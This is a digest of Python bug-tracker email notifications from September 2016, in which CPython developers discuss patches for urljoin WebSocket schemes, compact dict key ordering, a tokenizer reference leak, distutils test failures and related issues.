Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473725754.6.0.724474407028.issue27946@psf.upfronthosting.co.za>


Changes by Tim Mitchell <tim.mitchell.chch at gmail.com>:


Added file: http://bugs.python.org/file44611/0001-issue27946-Hold-reference-to-dict-in-PyDict_GetItem.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:16:38 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Tue, 13 Sep 2016 00:16:38 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473725798.11.0.699663521476.issue27946@psf.upfronthosting.co.za>


Changes by Tim Mitchell <tim.mitchell.chch at gmail.com>:


Removed file: http://bugs.python.org/file44605/0001-issue27946-Hold-reference-to-dict-in-PyDict_GetItem.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:17:57 2016
From: report at bugs.python.org (Tim Mitchell)
Date: Tue, 13 Sep 2016 00:17:57 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
In-Reply-To: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>
Message-ID: <1473725877.77.0.0770513526023.issue27946@psf.upfronthosting.co.za>


Tim Mitchell added the comment:

Added test to patch

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:20:38 2016
From: report at bugs.python.org (INADA Naoki)
Date: Tue, 13 Sep 2016 00:20:38 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473726038.21.0.996035996416.issue28040@psf.upfronthosting.co.za>


INADA Naoki added the comment:

> So what if we delete mp->ma_used == ix or use mp->ma_keys->dk_nentries == ix? Do we still have any case breaking the order?

Yes.  `mp->ma_used == ix` means no more guard about key ordering.

class C:
    ...

a, b = C()
a.a, a.b = 1, 2  # shared key order is [a, b]

# b has [a, b] pending slot too, and no guard when inserting  pending slot.
b.b, b.a = 3, 4  # continue to using sharing key

assert list(b.__dict__.keys()) == ['b', 'a'])  # AssertionError!

---
`mp->ma_keys->dk_nentries == ix` is nonsense.  It prohibits to inserting pending slot:

a, b = C()
a.a, a.b = 1, 2  # shared key order is [a, b]

# Since ma_keys is shared, b's dk_nentries == 2
b.a = 3  # ix = 0, dk_nentries = 2; stop using sharing keys.

---

To keep using sharing key, my idea is adding one more member to dict: mp->ma_values_end.

When inserting to pending or empty slot, check that `ix >= mp_ma_values_end` to ensure ordering
and `set mp->ma_values_end = ix+1` if it's OK.

a, b = C()  # Both of ma_values_end = 0
a.a, a.b = 1, 2  # shared key order is [a, b], a's ma_values_end = 2
b.b = 3          # ma_values_end (=0) <= ix (=1); OK; set ma_values_end = 2
b.a = 4          # ma_values_end (=2) >  ix (=0); NG; convert to combined table

But testing such an implementation detail is hard from pure Python. (No API for checking ma_values_end,
the dict is split or combined, and two dict share keys).

I don't know adding such hack is worth enough.
Dict is made by tons of hacks, you know.

I think new OrderedDict implementation based on new dict implementation is more worth.
If dict is far more efficient than OrderedDict, people may use dict even when OrderedDict should be used.
But I don't know it can be done after beta1.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:23:32 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Tue, 13 Sep 2016 00:23:32 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473726212.47.0.661436380384.issue25895@psf.upfronthosting.co.za>


Markus Holtermann added the comment:

Since the patch applies cleanly to the 3.5, 3.6 and master branch I only attached one updated version of it.

----------
Added file: http://bugs.python.org/file44612/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:23:53 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Tue, 13 Sep 2016 00:23:53 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473726233.39.0.942492710906.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Removed file: http://bugs.python.org/file44608/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.3.5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:25:16 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 13 Sep 2016 00:25:16 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473726316.75.0.641692235709.issue25895@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
nosy:  -yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:25:48 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Tue, 13 Sep 2016 00:25:48 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473726348.92.0.210477617628.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Removed file: http://bugs.python.org/file44609/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.3.6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:25:51 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Tue, 13 Sep 2016 00:25:51 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473726351.32.0.978422624651.issue25895@psf.upfronthosting.co.za>


Changes by Markus Holtermann <info at markusholtermann.eu>:


Removed file: http://bugs.python.org/file44610/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.master.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:28:29 2016
From: report at bugs.python.org (Bayard Randel)
Date: Tue, 13 Sep 2016 00:28:29 +0000
Subject: [issue15393] JSONDecoder.raw_decode breaks on leading whitespace
In-Reply-To: <1342692596.02.0.962530841473.issue15393@psf.upfronthosting.co.za>
Message-ID: <1473726509.02.0.257936598014.issue15393@psf.upfronthosting.co.za>


Bayard Randel added the comment:

I've provided an updated patch for 3.6. Additionally I've updated the docstring for decoder.raw_decode to explain that whitespace at the beginning of the document will be ignored. I believe the concerns around the backwards incompatible change to the function signature were addressed by aalien's second patch.

----------
nosy: +Bayard Randel
Added file: http://bugs.python.org/file44613/issue15393_3.6.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15393>
_______________________________________

From report at bugs.python.org  Mon Sep 12 20:37:12 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 13 Sep 2016 00:37:12 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473676414.53.0.748930235735.issue28092@psf.upfronthosting.co.za>
Message-ID: <20160913003706.GL22471@ando.pearwood.info>


Steven D'Aprano added the comment:

Ned, I know my system is old so I understand if 3.6 no longer supports 
gcc 4.1. Tell me what minimum version I should use (4.8?) and I'll find 
a way to upgrade or use another system.

Shouldn't the build system explicitly report that the compiler is too 
old, and suggest a minimum version, rather than just dump some random 
C-level error in the user's lap? There's a big gap between "able to run 
configure/make" and "able to diagnose configure/make errors" where users 
are currently not well provided for. It is very frustrating to deal with 
these sorts of errors especially when most of the help you get from the 
internet is "run make distclean and try again".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 21:49:32 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 01:49:32 +0000
Subject: [issue28103] Style fix in zipfile.rst
In-Reply-To: <1473694639.54.0.408781099961.issue28103@psf.upfronthosting.co.za>
Message-ID: <20160913014928.2574.43763.C99C5308@psf.io>


Roundup Robot added the comment:

New changeset 138625694ed6 by Berker Peksag in branch '3.5':
Issue #28103: Use ``'...'`` style in zipfile documentation
https://hg.python.org/cpython/rev/138625694ed6

New changeset 89b0ca61ad03 by Berker Peksag in branch '3.6':
Issue #28103: Merge from 3.5
https://hg.python.org/cpython/rev/89b0ca61ad03

New changeset 5b41ff5b2a8e by Berker Peksag in branch 'default':
Issue #28103: Merge from 3.6
https://hg.python.org/cpython/rev/5b41ff5b2a8e

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28103>
_______________________________________

From report at bugs.python.org  Mon Sep 12 21:50:31 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 01:50:31 +0000
Subject: [issue28103] Style fix in zipfile.rst
In-Reply-To: <1473694639.54.0.408781099961.issue28103@psf.upfronthosting.co.za>
Message-ID: <1473731431.57.0.29941271332.issue28103@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks!

----------
nosy: +berker.peksag
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28103>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:02:25 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 02:02:25 +0000
Subject: [issue20140] UnicodeDecodeError in ntpath.py when home dir contains
 non-ascii signs
In-Reply-To: <1389005031.99.0.692658963376.issue20140@psf.upfronthosting.co.za>
Message-ID: <1473732145.35.0.988304518507.issue20140@psf.upfronthosting.co.za>


Eryk Sun added the comment:

> It might be worth testing a patch that changes expanduser to 
> decode the environment variables 

If expanduser() is passed a unicode path, it can use _winreg.ExpandEvironmentStrings(u'%USERPROFILE%') instead of decoding os.environ['USERPROFILE']. In 2.7, os.environ is a lossy ANSI encoding of the native Unicode environment block.

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20140>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:13:17 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 02:13:17 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473732797.24.0.868012457983.issue23102@psf.upfronthosting.co.za>


Berker Peksag added the comment:

The patch doesn't apply cleanly:

applying http://bugs.python.org/file37554/distutils_accomodate_distribution_ducktypes.patch
patching file Lib/distutils/cmd.py
Hunk #1 FAILED at 51
1 out of 1 hunks FAILED -- saving rejects to file Lib/distutils/cmd.py.rej
abort: patch failed to apply

So the next step would be to update the patch.

We also need a test case to make sure that the patch fixes the problem reported in msg233034.

+1 for relying on duck typing. Perhaps we could also look for methods that are called in Command (e.g. get_command_obj(), run_command())

----------
nosy: +berker.peksag, jason.coombs
stage:  -> needs patch
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:20:19 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 13 Sep 2016 02:20:19 +0000
Subject: [issue28104] Set documentation is incorrect
In-Reply-To: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>
Message-ID: <1473733219.03.0.972936443068.issue28104@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
assignee: docs at python -> rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:20:33 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 13 Sep 2016 02:20:33 +0000
Subject: [issue28111] geometric_mean can raise OverflowError when checking for
 inf
Message-ID: <1473733233.31.0.576673883283.issue28111@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

>>> statistics.geometric_mean([0.7 for _ in range(5000)])
Traceback (most recent call last):
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 362, in float_nroot
    isinfinity = math.isinf(x)
OverflowError: int too large to convert to float

See #27975 and #27181

----------
assignee: steven.daprano
components: Library (Lib)
messages: 276149
nosy: haypo, mark.dickinson, steven.daprano
priority: normal
severity: normal
status: open
title: geometric_mean can raise OverflowError when checking for inf
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28111>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:26:34 2016
From: report at bugs.python.org (Ned Deily)
Date: Tue, 13 Sep 2016 02:26:34 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473650219.02.0.385206047793.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473733594.77.0.747535111363.issue28092@psf.upfronthosting.co.za>


Ned Deily added the comment:

[discussion with Steven about compiler versions taken off-list]

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:28:03 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 13 Sep 2016 02:28:03 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1473694513.94.0.0808603970571.issue27181@psf.upfronthosting.co.za>
Message-ID: <20160913022758.GN22471@ando.pearwood.info>


Steven D'Aprano added the comment:

On Mon, Sep 12, 2016 at 03:35:14PM +0000, Mark Dickinson wrote:
> statistics.geometric_mean(0.7 for _ in range(5000))

I've raised a new ticket #28111

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Mon Sep 12 22:35:24 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 02:35:24 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473734124.21.0.199702096376.issue25895@psf.upfronthosting.co.za>


Berker Peksag added the comment:

I think a Misc/NEWS entry is enough. We didn't use versionadded/versionchanged directives for similar changes in the past (mimetypes.types_map for example) Even if we decide to add an annotation it should be versionchanged, not versionadded (the API is not new.)

The rest of the patch looks good to me.

----------
nosy: +berker.peksag
versions: +Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Mon Sep 12 23:06:57 2016
From: report at bugs.python.org (David Dudson (BigDaveNz))
Date: Tue, 13 Sep 2016 03:06:57 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <1473736017.06.0.840700637369.issue27981@psf.upfronthosting.co.za>


David Dudson (BigDaveNz) added the comment:

Please find a fix attached.

This applies cleanly to 3.5/3.6/3.7 but not 2.7

Ran tests on 3.7 (master branch HEAD) only.

----------
keywords: +patch
nosy: +David Dudson (BigDaveNz)
Added file: http://bugs.python.org/file44614/0001-Issue-27981-Prevent-a-leak-of-PyObject_CallObject-s-.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Mon Sep 12 23:47:38 2016
From: report at bugs.python.org (Robert Collins)
Date: Tue, 13 Sep 2016 03:47:38 +0000
Subject: [issue16288] TextTestResult uses TestCase.__str__() which isn't
 customisable (vs id() or shortDescription())
In-Reply-To: <1350671689.29.0.0409273215418.issue16288@psf.upfronthosting.co.za>
Message-ID: <1473738458.94.0.626580008877.issue16288@psf.upfronthosting.co.za>


Robert Collins added the comment:

@Chris - I don't like the idea of making new classes on the fly like that, it seems more likely to provoke bugs (as type(case) != SomeSpecificClass) anymore after that, vs just not relying on __str__ directly.

Going back to Michael's proposal of short description, long description and repr (with str == repr) for debugging. - that is missing id(), and id() is IMO definitely still needed.

I was proposing id(), friendlyId(), shortDescription(), and __str__ calls friendlyId(), and __repr__ is a regular <...> repr.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16288>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:04:29 2016
From: report at bugs.python.org (Markus Holtermann)
Date: Tue, 13 Sep 2016 04:04:29 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473739469.76.0.337447833547.issue25895@psf.upfronthosting.co.za>


Markus Holtermann added the comment:

Thanks for your input, Berker. Updated as suggested. I still include the versionchanged annotation as I suspect more people to look at the docs than the entire changelog

----------
Added file: http://bugs.python.org/file44615/0001-Enable-WebSocket-URL-schemes-in-urllib.parse.urljoin.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:10:40 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 13 Sep 2016 04:10:40 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473739840.69.0.932857508454.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

This issue still exists in Python 3.7.

----------
nosy: +kesara
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:11:15 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 13 Sep 2016 04:11:15 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473739875.01.0.232209645429.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

Updated patch based on vinay.sajip's patch.

----------
Added file: http://bugs.python.org/file44616/6087_distutils_sysconfig.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:11:31 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 13 Sep 2016 04:11:31 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473739891.52.0.553923180526.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

Updated patch based on vinay.sajip's patch.

----------
Added file: http://bugs.python.org/file44617/6087_sysconfig.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:13:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 04:13:33 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473740013.76.0.0640599029342.issue27952@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Can we silence the debug output?

./python -m test  test_tools
Run tests sequentially
0:00:00 [1/1] test_tools
*recursedown('@test_20410_tmp')
1 test OK.

Total duration: 4 sec
Tests result: SUCCESS

----------
nosy: +xiang.zhang
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:15:12 2016
From: report at bugs.python.org (Robert Collins)
Date: Tue, 13 Sep 2016 04:15:12 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473740112.47.0.211105960189.issue25895@psf.upfronthosting.co.za>


Robert Collins added the comment:

I find details like this extremely useful in the main docs, so please do add there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:16:10 2016
From: report at bugs.python.org (Robert Collins)
Date: Tue, 13 Sep 2016 04:16:10 +0000
Subject: [issue15393] JSONDecoder.raw_decode breaks on leading whitespace
In-Reply-To: <1342692596.02.0.962530841473.issue15393@psf.upfronthosting.co.za>
Message-ID: <1473740170.64.0.213890838729.issue15393@psf.upfronthosting.co.za>


Robert Collins added the comment:

I think the patch should either be rejected, or also handle trailing spaces: if we're taking the RFC definition of whitespace not being structural then we should also eat trailing space, which will change the  check for extra data in decode to just checking end == s.len().

Obviously a test for the trailing case needs to be added as well.

----------
nosy: +rbcollins

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15393>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:22:49 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 04:22:49 +0000
Subject: [issue18828] urljoin behaves differently with custom and standard
 schemas
In-Reply-To: <1377435120.2.0.153064775964.issue18828@psf.upfronthosting.co.za>
Message-ID: <1473740569.45.0.383209663149.issue18828@psf.upfronthosting.co.za>


Martin Panter added the comment:

Recording bugs reports for specific schemes as dependencies of this:

Issue 25895: ws(s)
Issue 16134: rtmp(e/s/t)
Issue 23759: coap(s)

----------
dependencies: +Add support for RTMP schemes to urlparse, urllib.parse.urljoin does not handle WebSocket URLs, urllib.parse: make coap:// known

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18828>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:30:52 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 04:30:52 +0000
Subject: [issue25895] urllib.parse.urljoin does not handle WebSocket URLs
In-Reply-To: <1450331933.69.0.301225840177.issue25895@psf.upfronthosting.co.za>
Message-ID: <1473741052.86.0.476773243636.issue25895@psf.upfronthosting.co.za>


Martin Panter added the comment:

IMO if a versionadded/versionchanged notice is relevant, that is a good sign it is a feature rather than bug fix. If the 3.6.1 documentation says ?added in 3.5.3?, how do you know if it is in 3.6.0?

I looked at the history of other schemes being added to try and understand if it is a bug fix or not. I guess it is not that clear. In Python 2 the sftp and sips schemes are documented as a new feature in 2.5. Is that why you aren?t proposing any change to 2.7?

imap (Issue 618024), mms (7ec771893410): 2.3 features
rsync (Issue 981299): 2.3 bugfix (3a7e34dc6ae2)
svn: 2.4 bugfix (349a0fd598e0)
sftp (Issue 1407902): 2.5 feature (r42108); 2.4 bugfix reverted (r42123); documented (r42125) with version (r42158)
sips (r43520): 2.5 feature; documented with version
nfs (Issue 4962): 2.7 (r70757), 3.1 (r70760) features; 2.6 bugfix (r81131); undocumented
git (Issue 8657): 2.6, 2.7, 3.1 bugfixes; undocumented
tel (Issue 16713): 2.7, 3.2, 3.3 bugfixes; undocumented

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25895>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:32:47 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 13 Sep 2016 04:32:47 +0000
Subject: [issue28092] Build failure for 3.6 on Centos 5.11
In-Reply-To: <1473701699.17.0.669608607205.issue28092@psf.upfronthosting.co.za>
Message-ID: <1473741163.921792.723886129.3ADB18B4@webmail.messagingengine.com>


Benjamin Peterson added the comment:

On Mon, Sep 12, 2016, at 10:34, ?ukasz Langa wrote:
> 
> ?ukasz Langa added the comment:
> 
> Benjamin, what's the rationale behind switching those to inline
> functions? Does it improve runtime performance or build speed? If not, I
> don't understand why the additional complexity.

Macros for the stub case of dtrace are "fine" because they're so simple.
I mainly converted them to see if it would cause problems (e.g., this
bug report) before seeking further expansion.

Many of CPython's uglier macros could be replaced by inline funtions.
Inline functions provide the same performance benefit of macros while
improving type safety, debugability, and avoiding notorious macro quirks
like double evaluation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28092>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:35:18 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 13 Sep 2016 04:35:18 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473741318.51.0.5559854054.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

These patches break both test_distutils & test_sysconfig tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:39:22 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 04:39:22 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <20160913043920.19406.55403.2430A1F0@psf.io>


Roundup Robot added the comment:

New changeset aa88456f1749 by Berker Peksag in branch '3.5':
Issue #27981: Fix refleak in fp_setreadl()
https://hg.python.org/cpython/rev/aa88456f1749

New changeset 095c77323a6e by Berker Peksag in branch '3.6':
Issue #27981: Merge from 3.5
https://hg.python.org/cpython/rev/095c77323a6e

New changeset e4b16748aca2 by Berker Peksag in branch 'default':
Issue #27981: Merge from 3.6
https://hg.python.org/cpython/rev/e4b16748aca2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:40:28 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 04:40:28 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <1473741628.54.0.894484602486.issue27981@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the patch, David!

----------
components: +Interpreter Core
nosy: +berker.peksag
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> behavior
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:45:50 2016
From: report at bugs.python.org (Robert Collins)
Date: Tue, 13 Sep 2016 04:45:50 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473741950.49.0.25561957685.issue6087@psf.upfronthosting.co.za>


Robert Collins added the comment:

Ok, so we need to figure out whether the tests are wrong, or the 'fix' is wrong.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:47:33 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 13 Sep 2016 04:47:33 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1473742053.19.0.37111548171.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

Test output:

[cpython.25567]$ ./python.exe -m test test_distutils test_sysconfig -j3
Run tests in parallel using 3 child processes
0:00:01 [1/2/1] test_sysconfig failed
test test_sysconfig failed -- Traceback (most recent call last):
  File "/Users/kesara/pycon/cpython.25567/Lib/test/test_sysconfig.py", line 283, in test_user_similar
    self.assertEqual(user_path, global_path.replace(base, user, 1))
AssertionError: '/Users/kesara/.local/lib/python3.6' != '/Users/kesara/pycon/cpython.25567/Lib'
- /Users/kesara/.local/lib/python3.6
+ /Users/kesara/pycon/cpython.25567/Lib
0:00:05 [2/2/2] test_distutils failed
test test_distutils failed -- Traceback (most recent call last):
  File "/Users/kesara/pycon/cpython.25567/Lib/distutils/tests/test_sysconfig.py", line 40, in test_get_python_lib
    sysconfig.get_python_lib(prefix=TESTFN))
AssertionError: '/Users/kesara/pycon/cpython.25567/Lib' == '/Users/kesara/pycon/cpython.25567/Lib'

2 tests failed:
    test_distutils test_sysconfig

Total duration: 6 sec
Tests result: FAILURE

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:49:42 2016
From: report at bugs.python.org (Thomi Richards)
Date: Tue, 13 Sep 2016 04:49:42 +0000
Subject: [issue17188] Document 'from None' in raise statement doc.
In-Reply-To: <1360631999.8.0.76627095073.issue17188@psf.upfronthosting.co.za>
